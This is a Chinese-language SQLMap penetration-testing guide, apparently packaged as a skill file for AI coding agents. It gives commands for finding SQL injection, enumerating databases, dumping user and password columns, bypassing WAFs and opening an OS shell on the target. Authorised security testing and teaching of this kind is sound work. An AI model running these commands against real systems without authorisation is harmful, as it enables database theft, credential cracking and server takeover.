
关于
使用 SQLMap 提供自动化 SQL 注入检测和利用的系统性方法论,用于授权的数据库渗透测试。
name: sqlmap-database-pentesting description: "提供使用SQLMap进行自动化SQL注入检测和利用的系统方法论。" risk: unknown source: community author: zebbern date_added: "2026-02-27"
SQLMap 数据库渗透测试
目的
提供使用SQLMap进行自动化SQL注入检测和利用的系统方法论。涵盖数据库枚举、表和列发现、数据提取、多种目标指定方法,以及MySQL、PostgreSQL、MSSQL、Oracle等数据库管理系统的高级利用技术。
输入/前提条件
- 目标URL:带有可注入参数的Web应用URL(如
?id=1) - SQLMap安装:预装在Kali Linux上或从GitHub下载
- 已验证注入点:确认或疑似SQL可注入的URL参数
- 请求文件(可选):Burp Suite捕获的HTTP请求用于POST注入
- 授权:渗透测试活动的书面许可
输出/交付物
- 数据库枚举:目标服务器上所有数据库列表
- 表结构:目标数据库中的完整表名
- 列映射:每个表的列名和数据类型
- 提取数据:转储的记录包括用户名、密码和敏感数据
- 哈希值:用于离线破解的密码哈希
- 漏洞报告:SQL注入类型和严重性确认
核心工作流
1. 识别SQL注入漏洞
手动验证
# 添加单引号破坏查询
http://target.com/page.php?id=1'
# 如果出现错误消息,可能存在SQL注入
# 错误示例:"You have an error in your SQL syntax"
初始SQLMap扫描
# 基本漏洞检测
sqlmap -u "http://target.com/page.php?id=1" --batch
# 带详细输出
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
2. 数据库枚举
# 列出所有数据库
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
# 列出指定数据库的表
sqlmap -u "http://target.com/page.php?id=1" -D target_db --tables --batch
# 列出指定表的列
sqlmap -u "http://target.com/page.php?id=1" -D target_db -T users --columns --batch
3. 数据提取
# 转储指定表
sqlmap -u "http://target.com/page.php?id=1" -D target_db -T users --dump --batch
# 转储特定列
sqlmap -u "http://target.com/page.php?id=1" -D target_db -T users -C username,password --dump --batch
4. 高级技术
# POST请求注入
sqlmap -r request.txt --batch
# Cookie注入
sqlmap -u "http://target.com/" --cookie="id=1*" --batch
# 绕过WAF
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment --batch
# OS Shell
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
注意事项
- 仅在获得书面授权后使用
- 遵守当地法律法规
- 记录所有测试活动
- 负责任地报告发现的漏洞
兼容工具
Claude CodeCursor
标签
安全
